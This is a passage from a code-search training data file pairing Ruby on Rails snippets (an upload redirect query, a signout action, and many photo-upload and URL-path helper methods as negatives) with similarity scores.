document\n document.derivative_paths[:thumbnail].relative_path.to_s\n end", "def permanent_public_url(options={})\n opts = set_defaults(options)\n ext = opts[:extension]\n # 'id' is slightly obfuscated as hexadecimal string\n url = Routes.root_url + [\"media\",opts[:class],opts[:id].to_i.to_s(16),opts[:name]].join('/')\n url += \".#{ext}\" unless ext.blank?\n url\n end", "def mp3_url\n @mp3_url ||= url_for_format('mp3')\n end", "def archive_path\n @archive_path ||= stored_file.retrieval_path\n end", "def media\n parse(delete('media'))\n end", "def thumb_path\n \"#{PATH}/#{thumb_filename}\"\n end", "def downloaded_video_path\n \"/songs/#{self.id}.mpg\"\n end", "def variant_url\n if Rails.application.fastly_enabled?\n FastlyLocation.new(attachment).url\n else\n attachment.processed.url\n end\n end", "def dir\n url.end_with?(\"/\") ? url : url_dir\n end", "def asset_path(source, options = {})\n return source if source =~ URI_MATCH\n \n # Extract the path, so we can add any query string items back on.\n uri = URI.parse(source)\n source = uri.path\n \n # Append extension if necessary\n if options[:ext] && File.extname(source).empty?\n source << \".#{options[:ext]}\"\n end\n \n source = materialize_path(source, options)\n \n # Return the reconstructed URI\n source << \"?#{uri.query}\" if uri.query\n source << \"##{uri.fragment}\" if uri.fragment\n source\n end", "def url(options = {})\n if file.respond_to?(:url)\n tmp_url = file.method(:url).arity.zero? ? file.url : file.url(options)\n return tmp_url if tmp_url.present?\n end\n\n if file.respond_to?(:path)\n path = encode_path(file.path.sub(File.expand_path(root), ''))\n\n if (host = asset_host)\n if host.respond_to? :call\n \"#{host.call(file)}#{path}\"\n else\n \"#{host}#{path}\"\n end\n else\n (base_path || \"\") + path\n end\n end\n end", "def url_for(path)\n raise \"no file at path: #{path}\" unless File.exists?(File.expand_path(path, File.dirname(@source)))\n target_path(path)\n end", "def url_to_filename(url) #:nodoc:\n\t\t\treturn url.gsub(base_url, '')\n\t\tend", "def app_asset_path_for(asset_url, asset_prefix)\n File.join(Rails.root, 'public', asset_prefix, params[:asset])\n end", "def get_media_filepath\n \"Accounts/#{@note.account.identifier}/Previews/#{@filename}\"\n end", "def dest_path\n @dest_path ||= remote_path.sub(/^~\\//, '').sub(/\\/$/, '')\n end", "def store_dir\n # Change App.Models.Storybook#_parseAssetUrl() if following is changed\n \"sounds/#{model.id}\"\n end", "def full_path(settings)\n return File.join( settings.music_dir_path , self.path )\n end", "def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end", "def movie_thumb_url\n movie_urls.split(',', 2).first unless movie_urls.nil?\n end", "def process\n return nil unless link_url?\n url = @url.dup\n if url = parse(url)\n return parse_relative_url unless url.host\n url.scheme ||= @source_url.scheme\n if same_source_host? || external_asset_url?\n URI.unescape(url.to_s, '%7C')\n end\n end\n end", "def destination(dest)\n # The url needs to be unescaped in order to preserve the correct filename.\n path = File.join(dest, @dir, @name )\n# path = File.join(path, \"index.html\") if self.url =~ /\\/$/\n path\n end", "def convert_source_url_to_external_storage\n return unless converting_activated_for_current_resource?\n\n endpoint = Rails.application.credentials.dig(:minio, :endpoint)\n return if endpoint.blank?\n return if source_url.blank? || source_url.url.blank?\n return if source_url.url.start_with?(endpoint)\n\n begin\n uri = URI.open(source_url.url)\n file = File.open(uri)\n attachment.attach(io: file, filename: File.basename(file))\n rescue StandardError\n return\n end\n\n source_url.url = attachment.service_url.sub(/\\?.*/, \"\")\n source_url.save\n end" ]
[ "0.6789613", "0.674171", "0.6672033", "0.6586478", "0.6495598", "0.6435323", "0.6112988", "0.6108838", "0.6000761", "0.5969164", "0.5967899", "0.5960257", "0.5940833", "0.59108776", "0.5887878", "0.5875718", "0.5787013", "0.5782727", "0.5769249", "0.57644516", "0.5755987", "0.5746036", "0.5746036", "0.571562", "0.56917304", "0.56861985", "0.5659678", "0.56523144", "0.5645407", "0.5642113", "0.5629107", "0.56234485", "0.55999327", "0.5598467", "0.5569317", "0.55669427", "0.5565064", "0.5556774", "0.5547647", "0.55415523", "0.551649", "0.5510165", "0.5503769", "0.5494615", "0.5494615", "0.5472053", "0.5469048", "0.5464474", "0.5457591", "0.544928", "0.54426765", "0.5422081", "0.54199636", "0.54032093", "0.53987986", "0.53965", "0.5384008", "0.5376855", "0.53762615", "0.53748214", "0.53747034", "0.53745705", "0.5374011", "0.5372854", "0.5371138", "0.53677046", "0.5367116", "0.53510886", "0.53480196", "0.5345838", "0.5342816", "0.5333897", "0.53319305", "0.5324278", "0.5316487", "0.5311786", "0.53089964", "0.5295415", "0.52810794", "0.5278726", "0.52766603", "0.52761954", "0.5272427", "0.5266492", "0.52609533", "0.52548563", "0.525463", "0.5253865", "0.5253378", "0.5248573", "0.5246096", "0.52449656", "0.5244492", "0.52427214", "0.52419376", "0.5241711", "0.5230864", "0.5228381", "0.5226199", "0.52237725" ]
0.58815366
15
def upload redirect_to :controller=>:photos, :action=>:add end
def signout #create a signout action at admin_helper logout redirect_to :controller=>:home, :action=>:index end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n # redirect_to @upload.url\n end", "def createalbum\n \tredirect_to(\"/photo/createAlbumPage\")\n end", "def upload\n end", "def upload\n end", "def uploading_pictures\n end", "def file_upload\n redirect_to wip_path()\n # TODO file_upload_wip\n end", "def create\n\n @photo = Photo.new(params[:photo])\n\n if @photo.save()\n add_alert(true, :alert_success, \"Photo added\")\n redirect_to(:controller => :photos, :action => :index, :id => current_user_id)\n else\n render(:controller => :photos, :action => :new)\n end\n\n end", "def create\n @picture = Picture.new(params[:picture]) \n if @picture.save\n redirect_to :controller => 'pictures', :action => 'admin_show', :id => @picture.id\n else\n render :action => 'new'\n end \n end", "def upload\n result = FileUploadService.new(upload_params).create\n if result[:status] == 'failed'\n flash[:error] = result[:message]\n path = root_path\n else\n path = albums_path\n flash[:success] = result[:message]\n end\n redirect_to path\n end", "def create\n @picture = Picture.new(params[:picture])\n\n if @picture.save\n #redirect here?\n else\n \n end\n end", "def upload\r\n \r\n end", "def index\n redirect_to_pictureable_path\n end", "def create\n @photo = Photo.new(photo_params)\n if @photo.save\n flash[:notice] = \"Successfully added new photo!\"\n redirect_to root_path\n else\n flash[:alert] = \"Error adding new photo!\"\n render :new\n end\nend", "def manage_files\n redirect_to wip_path()\n end", "def viewphoto\n photo = Photo.find_by_id params[:id]\n redirect_to photo_view_path(photo.id, photo.safe_title), :status => 301\n end", "def upload\n images = params[:photo][:images]\n\n # Check to make sure that the user uploaded at least one image\n if images.nil? || images.count.zero?\n flash[:alert] = I18n.t(\"photos.upload.at_least_one\")\n return redirect_to new_photo_path\n end\n\n # Create a new photo model for each uploade image\n images.each do |image|\n new_photo = Photo.new(owner: @current_user, visibility: photo_params[:visibility],\n title: photo_params[:title], image: image)\n\n # Notify the user if the save failed\n next if new_photo.save!\n\n flash[:alert] = I18n.t(\"photos.upload.failed\") if flash[:alert].nil?\n flash[:alert] += new_photo.errors.full_messages.join(', ')\n end\n\n # Notify the user of a successful upload\n flash[:success] = I18n.t(\"photos.upload.success\") if flash[:alert].nil?\n redirect_to gallery_path\n end", "def files\n redirect_to(ContentServer.uploaded_content_url(params[:id], '.' + params[:ext].to_s))#params[:id].to_s.gsub(\".\")[1]))\n end", "def files\n redirect_to(ContentServer.uploaded_content_url(params[:id], '.' + params[:ext].to_s))#params[:id].to_s.gsub(\".\")[1]))\n end", "def upload\n respond_to do |format|\n format.html # upload.html.erb\n end\n end", "def create\n \t@photo = Photo.new(photos_params)\n\n \tif @photo.save\n \t\tredirect_to photos_path, notice: \"The photo #{@photo.name} has been uploaded.\"\n \telse\n \t\trender \"new\"\n \tend\n\n end", "def create_photos\n end", "def create\n newparams = coerce(params)\n @upload = Upload.new(newparams[:upload])\n if @upload.save\n flash[:notice] = \"Successfully created upload.\"\n respond_to do |format|\n format.html {redirect_to index}\n format.json {render :json => { :result => 'success', :upload => @upload.image.url } }\n end\n else\n render :action => 'new'\n end\n end", "def create\n @photo =Photo.new(:imageable_id=>params[:photo][:imageable_id], :imageable_type=>params[:photo][:imageable_type],:file_name=>params[:photo][:file_name],:photo_name=>params[:photo][:photo_name])\n if @photo.save\n \n redirect_to '/' + params[:photo][:imageable_type].pluralize.downcase + '/' + params[:photo][:imageable_id], notice: \"Photo was successfully created.\"\n else\n render :new\n end\n end", "def upload_picture\n if !check_session #Validate if the user session is active\n return #If not force return to trigger the redirect of the check_session function\n end\n resp = PhotoAlbum.find(params[:id],session[:user])\n\t if resp[0]\n\t @photo_album = resp[1]\n\t elsif validate_authorized_access(resp[1])\n\t flash[:danger] = t(:article_get_error_flash)\n\t redirect_to :back\n else \n return #If not force return to trigger the redirect of the check_session function\n\t end\n\t resp2 = @photo_album.upload_picture(photo_album_params,session[:user])\n\t if resp2[0]\n\t flash[:success] = t(:picture_uploading_success_flash, photo_album: @photo_album.name)\n\t redirect_to :back\n\t elsif validate_authorized_access(resp[1])\n\t if(resp[1].kind_of?(Array))\n flash[:warning] = Util.format_validation_errors(resp[1])\n end\n flash[:danger] = t(:picture_uploading_error_flash)\n redirect_to :back\n else \n return #If not force return to trigger the redirect of the check_session function\n\t end\n rescue #Error Handilng code\n general_error_redirection('Controller: '+params[:controller]+'.'+action_name,$!)\n end", "def thumb\n map = Map.find(params[:id])\n thumb = map.upload.url(:thumb)\n redirect_to thumb\n end", "def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save \n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder #checking if we have a parent folder for this file \n redirect_to browse_path(@upload.folder) #then we redirect to the parent folder \n else\n redirect_to root_url \n end \n else\n render 'new'\n end\n end", "def upload\n files_saved = 0\n # Build product images from upload\n\t\tparams[:file].each do |i|\n if i[:file_data] && !i[:file_data].blank?\n new_file = UserUpload.init(i[:file_data])\n if new_file.save\n files_saved += 1\n end\n end\n end\n \n flash[:notice] = \"#{files_saved} file(s) uploaded.\"\n \n if params[:modal]\n redirect_to :action => 'image_library' and return\n else\n redirect_to :action => 'index' and return\n end\n end", "def add_photos_from_site\n if(params[:photo_url])\n @url = params[:photo_url]\n @album = Album.find(:all,:conditions=>[\"user_id=?\",@login_user.id])\n render :action=>\"add_photos_from_site\", :layout=>false\n end\n \n end", "def upload_photos\n portfolio = Portfolio.find_by_id(params[:portfolio][:portfolio_id])\n if params[:portfolio][:images].present?\n portfolio.images += params[:portfolio][:images]\n portfolio.save(validate: false)\n flash[:success] = 'Photo added successfully!.'\n end\n redirect_to partner_portfolio_path\n end", "def create\n add_more_images(image_params[:thing_images])\n flash[:error] = \"Failed uploading images\" unless @thing.save\n redirect_to :back\n end", "def photo\n @photo = Photo.find(params[:photoId])\n @redirect_url = \"/index.html?photoId=#{params[:photoId]}\"\n render layout: false\n end", "def thumb\n map = Map.find(params[:id])\n thumb = map.upload.url(:thumb)\n \n redirect_to thumb\n end", "def create\n @photo = Photo.new(params[:photo])\n respond_to do |format|\n if @photo.save\n @current_user.upload_photo(@photo)\n format.html { redirect_to edit_admin_gallery_path(:id=>@gallery.id), notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def curr_add_picture\n @curriculum = find_curriculum\n picture = Identpicture.find(params[:id])\n @curriculum.set_picture(picture)\n redirect_to :action => 'list_cmds'\n end", "def upload\n redirect_to_groof_show = false\n @groof = Greenroof.find_by_id(params[:id])\n\n unless params[\"file-0\"].nil?\n\n # The path to the directory for the photos of the created greenroof.\n directory = \"/public/greenroofs/photos/\" + params[:id]\n\n # If the directory does not exists a new one will be created.\n FileUtils.mkdir_p Dir.pwd + directory if not File.directory? Dir.pwd + directory\n\n # The filename for the new photo.\n if not (@groof.images.first.nil?)\n photoFilename = @groof.images.first.photo\n redirect_to_groof_show = true\n else\n photoFilename = params[:id] + \"_\" + Time.now.to_i.to_s + \"_\" + Digest::MD5.hexdigest(params[\"file-0\"].original_filename)\n end\n # The full path for the photo.\n photoPath = Dir.pwd + directory + \"/\" + photoFilename\n\n file = File.read(params[\"file-0\"].tempfile) if params[\"file-0\"]\n f = File.new(photoPath, \"w+\")\n f.write file\n f.close\n\n # Filename for the thumbnail\n if not (@groof.images.first.nil?)\n thumbFilename = @groof.images.first.thumb\n else\n thumbFilename = params[:id] + \"_thumb_\" + Time.now.to_i.to_s + \"_\" + Digest::MD5.hexdigest(params[\"file-0\"].original_filename)\n end\n thumb = Magick::Image.read(photoPath).first\n thumb.crop_resized!(120, 120, Magick::NorthGravity)\n thumbPath = Dir.pwd + directory + \"/\" + thumbFilename\n thumb.write(thumbPath)\n\n # photo = \"/photos/\" + params[:id]\n\n img = Image.new(photo: photoFilename, thumb: thumbFilename)\n @groof.images.clear\n @groof.images << img\n end\n if @groof.save!\n flash[:success] = \"Viherkaton lisäys onnistui!\"\n\n render :js => \"window.location = '/greenroofs/\" << @groof.id.to_s << \"'\"\n\n end\n\n\n end", "def create\n @image = @album.images.build(image_params)\n\n if @image.save\n redirect_to album_path(@image.album.id), notice: \"The image #{@image.name} has been uploaded.\"\n else\n render \"new\"\n end\n end", "def create\n @upload_file = UploadFile.new(params[:upload_file])\n if @upload_file.save\n redirect_to upload_files_path(:doc_no=>@upload_file.doc_no)\n else\n render :action => \"new\"\n end\n end", "def show\n redirect_to photo_sizes_path\n end", "def create\n @pic = Pic.new(pic_params)\n\n respond_to do |format|\n if @pic.save\n if params[:add_another]\n format.html { redirect_to new_pic_path, notice: 'Pic was successfully created.' }\n else\n format.html { redirect_to @pic, notice: 'Pic was successfully created.' }\n end\n format.json { render action: 'show', status: :created, location: @pic }\n else\n format.html { render action: 'new' }\n format.json { render json: @pic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @picture = Picture.create(:data => params[:picture][:data].read, :user_id => current_user.id)\n\n respond_to do |format|\n if @picture.save\n flash[:notice] = 'Picture was successfully uploaded.'\n \n #format.html { redirect_to pictures_url(@picture.user_id) }\n # updated to take account of possibly various locations from where this method can be called,\n # so multiple redirect options are possible -> now return link is passed as a parameter\n format.html { redirect_to params[:redirect_to] }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n redirect_to @photo\n end", "def create\n @picture = @album.pictures.build(params[:picture])\n\n if @picture.save\n flash[:notice] = 'Picture was successfully uploaded.'\n redirect_to(album_pictures_path(@album))\n else\n @pictures = @album.pictures.all \n render :action => \"index\" \n end\n end", "def upload\n\n current_user_id = params[:current_user_id]\n print current_user_id\n filename = params[:Filename]\n print filename\n filedata = params[:Filedata]\n print filedata\n galleryname = params[:gallery_name]\n print galleryname\n\n # Construct the gallery if necessary\n gallery = Gallery.find_by_title(galleryname)\n if gallery.nil?\n gallery = Gallery.new\n gallery.title = galleryname\n gallery.person_id = current_user_id\n gallery.save\n end\n \n picture = Picture.new\n picture.picture_file_name = filename\n picture.picture_file_data = filedata\n picture.title = \"\"\n picture.person_id = current_user_id\n picture.gallery_id = gallery.id\n picture.save\n \n end", "def upload\n @album = Album.find( params[:album_id].to_i)\n end", "def multipart_upload\n end", "def create\n @photo = current_user.photos.build(photo_params)\n @photo.image_url = upload_photo_and_return_name\n respond_to do |format|\n if @photo.save\n format.html { redirect_to root_url }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n Camera::choose_picture(url_for :action => :camera_callback)\n redirect :action => :new\n end", "def upload_file\n #TODO\n end", "def create\n @gallery = Gallery.new(params[:gallery])\n if @gallery.save\n redirect_to @gallery\n return\n else\n redirect_to root_path\n end\n end", "def index\n redirect_to :controller=> 'captions', :action => 'index'\n end", "def create\n \t@album = Album.find(params[:album_id])\n @photo = Photo.new(params[:photo])\n @photo.album = @album\n @photo.person = Person.find(current_person.id)\n\n respond_to do |format|\n if @photo.save\n \t@goto_page = @photo.pageForUpdate(:id, 5)\n \tif @goto_page < 1\n \t\t@goto_page = 1\n \tend\n format.html { redirect_to(album_photos_url(@album, :page => @goto_page), :notice => 'Photo was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def set_upload\n @photo = Photo.find(params[:id])\n end", "def upload_image\n \t@person = Person.find(params[:id])\n \t@person.image = params[:person][:image]\n \t@person.save!\n \tredirect_to @person\n end", "def upload_simple\r\n \r\n end", "def create\n @upload = Upload.new(params[:upload])\n @upload.user_id = current_user.id if current_user\n if @upload.save\n redirect_to \"/patients\"\n else\n render :new\n end\n end", "def show\n redirect_to user_album_photos_path(@user,params[:id])\n end", "def create\n @photo = Photo.new(photo_params)\n\n respond_to do |format|\n if @photo.save\n\n format.html { redirect_to \"/admin/photos\", notice: '上传成功' }\n format.js\n else\n format.html { render action: 'new' }\n format.js\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.user = current_user\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to request.env[\"HTTP_REFERER\"] || @photo.photoable, notice: 'Photo added!' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to [@user, @upload], notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def mass_upload\n if Gallery.create_from_directory params[:directory]\n redirect_to :action => 'follow_import'\n else\n flash[:notice] = 'the directory is not a directory'\n render :action => 'new'\n end\n rescue ActiveRecord::RecordInvalid\n render :action => 'new'\n end", "def create\n @photo = Photo.new(photo_params)\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Uploaded successfully.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n @active_link = \"upload\"\n @post = generate_post(session_obj, {:is_upload=>true})\n render :new\n end", "def create\n\t \t\t@pic = Pic.create(pic_params)\n\t \t\tredirect_to pics_path \n\t \t\t# think of the @pic as a temp variable\n\t end", "def create\n@asset = current_user.assets.build(asset_params) \n if @asset.save \n flash[:notice] = \"Successfully uploaded the file.\" \n \n if @asset.folder #checking if we have a parent folder for this file \n redirect_to browse_path(@asset.folder) #then we redirect to the parent folder \n else \n redirect_to root_url \n end \n else \n render :action => 'new' \n end \n end", "def show\n @photo = Photo.find(params[:id])\n redirect_to @photo.collection\n end", "def create\n @photo = Photo.new(photo_params)\n @photo.user_id = session[:user_id]\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to '/home', notice: 'You have uploaded a new photo'}\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save\n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder\n redirect_to browse_path(@upload.folder)\n else\n redirect_to root_url\n end\n else\n render :action => 'new'\n end\n end", "def index\n @albums = Album.all\n @photos = Photo.find(:all, :order => \"ordering\")\n #@photos = Photo.all\n #Dir.entries(\"app/assets/images/gallery/\").each do |entry|\n # if entry =~ /\\d+\\.jpg/\n # @photos << Photo.new(:mainfile=>\"/assets/gallery/\" + entry,:thumbfile => \"/assets/gallery/\" + entry.gsub(/\\.jpg/,'') + \"_thumb.jpg\" )\n # end\n #end\n if @photos.length == 0\n #redirect_to url_for([:uploader,:admin,:photo])\n redirect_to admin_photos_uploader_url\n else\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end\n\n end", "def create\n @gadget = Gadget.find(params[:photo][:gadget_id])\n @photos = @gadget.photos.new(params[:photo])\n respond_to do |format|\n if @photos.save\n format.html { redirect_to @gadget, notice: 'Photo was successfully uploaded.' }\n format.json { render json: @gadget, status: :created, location: @gadget }\n else\n format.html { redirect_to gadget_path(params[:gadget_id]) }\n format.json { render json: @gadget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\t\t@photo.user_id = @logged_in_user.id\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was uploaded successfully.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t@album = Album.find(params[:album_id])\n \t@photo = @album.photos.create!(params[:photo])\n \tredirect_to @album, :notice => 'Photo created'\n end", "def create\n @photo = @project.photos.new(photo: params[:file])\n authorize! :create, @photo\n @photo.save!\n render :partial => \"show\"\n end", "def upload\n\n\t\t@uploads = Idea.find(params[:id]).uploads\n\t\t@idea = params[:id]\n\t\t@idea_obj = Idea.find(@idea)\n\n\t\t# allows user to delete files\n\t\t@delete = true\n\n\t\t@path = [link_to_ideas, link_to_idea_uploads(@idea_obj)]\n\t\t@subnavigation = [active_link_to_idea_uploads(@idea_obj), link_to_idea(@idea_obj), link_to_show_all_ideas(\"Alle Ideen\", \"title\", \"ASC\", \"\", 0, 30)]\n\tend", "def add_favorite\n FavoritePhoto.create(user: current_user, photo_id: params[:id])\n redirect_to @photo\n end", "def import_picture\n if request.post?\n render :text=>\"Nothing to do\"\n else\n @pic= Image.find(params[:id])\n @photo_url = \"http://\"+request.host_with_port + @pic.photo(:original)\n @album = Album.find(:all,:conditions=>[\"user_id=?\",@login_user.id])\n render :partial=>\"albums/import_picture\"\n end\n end", "def create\n @photo = @gallery.photos.new(params[:photo])\n if @photo.save\n flash[:success] = \"Foto #{@photo.filename} do álbum criada com sucesso. Envie outra se quiser.\"\n redirect_to new_admin_gallery_photo_path(@gallery)\n else\n @page_title = \"Novo Foto do álbum\"\n render :action => 'new'\n end\n end", "def picture_upload\n m = Memorial.find(params[:id])\n if m.pictures.size <= preference('allowed_number_of_photos').to_i\n p = Picture.create(params[:picture])\n if m.primary_picture.nil?\n m.primary_picture = p\n end\n m.pictures << p\n m.save \n flash[:notice] = \"Added Your Picture.\"\n else\n flash[:warning] = \"You cannot exceed #{preference('allowed_number_of_photos')} photos.\"\n end\n redirect_to :action => \"show\", :id => params[:id]\n end", "def post_create\n picture = params[:photo]\n if picture == nil\n flash[:notice] = \"Please enter a valid photo name.\"\n redirect_to :action => :create\n else\n file = File.new(Rails.root.join('app', 'assets', 'images', picture.original_filename), 'wb')\n file.write(picture.read)\n @listing = Listing.new\n @listing.name = params[:name]\n @listing.description = params[:description]\n @listing.city = params[:city]\n @listing.category =params[:category]\n @listing.user = User.find(params[:currentuser].to_i)\n @listing.dates = params[:dates]\n @listing.photo = picture.original_filename\n @listing.address = params[:address]\n @listing.save()\n listing_id = @listing.id\n render :action => 'crop'\n end\n end", "def create\n @album = Album.find(params[:album_id])\n @photo = @album.photos.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @photo = Photo.new(params[:photo]) \r\n\r\n respond_to do |format|\r\n if @photo.save\r\n format.html { redirect_to @photo, notice: 'Fotka úspěšně vytvořena.' }\r\n format.json { render json: @photo, status: :created, location: @photo }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @photo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def upload_media\n params[:media][:media_category_id] = params[:id]\n #raise params[:media].inspect\n Media.create(params[:media])\n\n redirect_to media_path(params[:id])\n end", "def create\n @picture_upload = PictureUpload.new(picture_upload_params)\n\n respond_to do |format|\n if @picture_upload.save\n format.html { redirect_to @picture_upload, notice: 'Picture upload was successfully created.' }\n format.json { render :show, status: :created, location: @picture_upload }\n else\n format.html { render :new }\n format.json { render json: @picture_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo= Photo.new(params[:photo])\n @user = User.find(params[:photo][:user_id])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @user, notice: 'Photo was successfully uploaded.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n @direct_upload_url = params[:direct_upload_url]\n respond_to do |format|\n format.js\n end\n end", "def upload\n @direct_upload_url = params[:direct_upload_url]\n respond_to do |format|\n format.js\n end\n end", "def show\n redirect_to url_for(@photo.image)\n end", "def index\n # redirect_to controller: 'post', action: 'new_post'\n end", "def create\n @photo = Photo.new(photo_params)\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_path(@photo.album), notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { redirect_to album_path(@photo.album), notice: @photo.errors.full_messages.join(', ') }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_file \n @doctor = Doctor.find_by_user_id(params[:id])\n \n if !params[:doctor][:image].blank?\n File.open(\"#{RAILS_ROOT}/public/pictures/#{session[:user]}.jpg\", \"wb\") do |f|\n f.write(params[:doctor][:image].read)\n end\n end\n redirect_to :action => 'show', :id => params[:id]\n end", "def create\n @event = Event.find(params[:event_id])\n @photo = Photo.new(params[:photo])\n if(@photo.save)\n render :json => {\n :policy => s3_upload_policy_document, \n :signature => s3_upload_signature, \n :key => @photo.s3_key, \n :success_action_redirect => event_photo_path(@event.id, @photo.id)\n }\n else\n flash[:alert] = \"Error! #{@photo.errors}\"\n render :text => \"Error! #{@photo.errors}\"\n end\n end", "def post_req\n redirect_to :controller => :listings, :action => :index\n end", "def create\n @item_photos = ItemPhoto.new(params[:item_photo])\n\n respond_to do |format|\n if @item_photos.save\n flash[:notice] = 'ItemPhoto was successfully created.'\n format.html { redirect_to :controller => 'items', :action => 'show', :id => @item_photos.item_id }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item_photos.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n\t\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gallery = Gallery.new(gallery_params)\n\n \n if @gallery.save\n redirect_to action: 'index'\n else\n redirect_to action: 'new'\n end\n \n end", "def create\n @photo = Photo.new(photo_params)\n @albums = get_current_albums\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to photos_url, notice: 'Фотография была успешно добавлена.' }\n format.json { render action: 'show', status: :created, location: @photo }\n else\n format.html { render action: 'new' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n redirect_to_full_path\n end", "def file_uploads; end", "def create\n puts \"\\n******* create *******\"\n @photo = Photo.new(photo_params)\n\n if @photo.save\n flash[:success] = \"Your photo has been successfully added!\"\n @photo.update(user_id: current_user)\n redirect_to :home\n else\n render :new\n end\n end", "def complete_upload_image\n @dom_id = \"##{params[:photo][:dom_id]}\"\n\n @asset = Image.new(uploaded_asset_attributes.reverse_merge(uploaded_by: current_user))\n @asset.add_meta(params[:photo])\n @asset.save\n render template: \"/dash/chooser/complete_upload\"\n end", "def create\n @picture = Picture.new(params[:picture])\n @picture.user = current_user\n @activity = @picture.album.imageable\n\n respond_to do |format|\n if @picture.save\n format.html { redirect_to [@activity, @picture], notice: 'Picture was successfully created.' }\n format.json { render json: @picture, status: :created, location: @picture }\n else\n format.html { render action: \"new\" }\n format.json { render json: @picture.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n flash[:notice] = 'Plik został dodany poprawnie.'\n format.html { redirect_to admin_photos_path(:product_id => @photo.product_id) }\n format.xml { render :xml => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.7395256", "0.7162675", "0.7085565", "0.7085565", "0.7035787", "0.70299923", "0.7006515", "0.6991697", "0.6979306", "0.69612074", "0.6904096", "0.6846776", "0.67398024", "0.67220855", "0.67166644", "0.6680996", "0.665854", "0.665854", "0.66242546", "0.66170746", "0.65833956", "0.6581642", "0.6580684", "0.65259814", "0.6513228", "0.65012133", "0.64985055", "0.6483811", "0.64647895", "0.64564824", "0.64395803", "0.6433364", "0.64250153", "0.642472", "0.6424482", "0.6423873", "0.64167", "0.6407296", "0.64002657", "0.6384789", "0.63837206", "0.6382721", "0.63726246", "0.63637525", "0.6359436", "0.6356639", "0.6353706", "0.6348757", "0.6344179", "0.6336805", "0.633425", "0.6315693", "0.6306167", "0.63051015", "0.629848", "0.6294937", "0.6294235", "0.6288087", "0.6284101", "0.6282959", "0.62690675", "0.62664396", "0.6265243", "0.6253656", "0.6241737", "0.6230884", "0.6226547", "0.6225446", "0.6225162", "0.621869", "0.62081045", "0.6191323", "0.61761194", "0.6173875", "0.6166867", "0.61630315", "0.61586344", "0.6157243", "0.6155803", "0.61483127", "0.6145386", "0.61447936", "0.6141407", "0.6135995", "0.6135995", "0.61334866", "0.6127675", "0.6126979", "0.61262023", "0.6123724", "0.61230856", "0.6122774", "0.61146945", "0.6114441", "0.6100963", "0.609093", "0.607755", "0.6072327", "0.6064244", "0.6060447", "0.60565025" ]
0.0
-1
Creates and initialize new instance of the PasswordTokenProvider class.
